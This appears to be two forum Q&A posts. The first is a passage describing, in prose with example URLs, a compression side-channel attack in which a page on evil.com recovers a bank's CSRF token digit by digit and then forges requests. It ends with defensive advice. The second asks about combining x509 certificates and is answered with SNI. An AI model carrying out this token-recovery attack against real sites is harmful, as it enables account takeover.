...
Hi, D.W.!  Pleasure to see you again.  Some actions you can take:
close my account,
view my balance, ...

Suppose you are browsing the web over an open Wifi connection, so that an attacker can eavesdrop on all of your network traffic.  Suppose that you are currently logged into your bank, so your browser has an open session with your bank's website, but you're not actually doing any banking over the open Wifi connection.  Suppose moreover that the attacker can lure you to visit the attacker's website http://www.evil.com/ (e.g., maybe by doing a man-in-the-middle attack on you and redirecting you when you try to visit some other http site).

Then, when your browser visits http://www.evil.com/, that page can trigger cross-domain requests to your bank's website, in an attempt to learn the secret CSRF token.  Notice that Javascript is allowed to make cross-domain requests.  The same-origin policy does prevent it from seeing the response to a cross-domain request.  Nonetheless, since the attacker can eavesdrop on the network traffic, the attacker can observe the length of all encrypted packets and thus infer something about the length of the resources that are being downloaded over the SSL connection to your bank.

In particular, the malicious http://www.evil.com/ page can trigger a request to https://www.bank.com/buggypage.html?name=closeacct&csrftoken=1 and look at how well the resulting HTML page compresses (by eavesdropping on the packets and looking at the length of the SSL packet from the bank).  Next, it can trigger a request to https://www.bank.com/buggypage.html?name=closeacct&csrftoken=2 and see how well the response compresses.  And so on, for each possibility for the first digit of the CSRF token.  One of those should compress a little bit better than the others: the one where the digit in the URL parameter matches the CSRF token in the page.  This allows the attacker to learn the first digit of the CSRF token.

In this way, it appears that the attacker can learn each digit of the CSRF token, recovering them digit-by-digit, until the attacker learns the entire CSRF token.  Then, once the attacker knows the CSRF token, he can have his malicious page on www.evil.com trigger a cross-domain request that contains the appropriate CSRF token -- successfully defeating the bank's CSRF protections.

It seems like this may allow an attacker to mount a successful CSRF attack on web applications, when the conditions above apply, if HTTP compression is enabled.  The attack is possible because we are mixing secrets with attacker-controlled data into the same payload, and then compressing and encrypting that payload.

If there are other secrets that are stored in dynamic HTML, I could imagine that similar attacks might become possible to learn those secrets.  This is just one example of the sort of attack I am thinking of.  So, it seems to me that using HTTP compression on dynamic pages that are accessed over HTTPS is a bit risky.  There might be good reasons to disable HTTP compression on all resources served over HTTPS, except for static pages/resources (e.g., CSS, Javascript).


Can I concatenate multiple x509 certificates? I have a very large cluster I am building of over 100 nodes, there are various types but I will use the Elasticsearch nodes as an example.  I am encrypting mesh connections between nodes with TLS.  For the smaller clusters this worked fine, but when generating a certificate for the larger cluster I ran into this issue:

https://support.venafi.com/hc/en-us/articles/215914307-Error-MS-CA-error-0xc80005e2-while-enrolling

https://social.technet.microsoft.com/wiki/contents/articles/3306.pki-faq-what-is-the-maximum-number-of-names-that-can-be-included-in-the-san-extension.aspx

Essentially the maximum size of the SAN list is 4096 bytes with 2/name for encoding, and my SAN list is already at 4566 bytes even without the encoding overhead.

So, my question is, if I split the SAN list into two certificates (signed by the same CA), is there any way to concatenate the two certs into one file that can be used for applications that require a single certificate file to be specified?  Is it as easy as cat cert{1,2}.crt > combined.crt?

There is no way to combine multiple certificates into a single entity which then can be provided to the client for validation. It is also not possible to send multiple leaf certificates within the TLS handshake to the client in the hope that the client will pick the matching one.

The common way to deal with many names is instead to have many certificates and then use SNI to provide the expected one. This means that the client sends the expected domain inside the server_name extension within the TLS handshake ClientHello and the server will check this extension and provide the certificate which matches the requested name. Of course, this needs support by both client and servers. With HTTPS support for this is common in both clients and servers but for other TLS based protocols this might be different.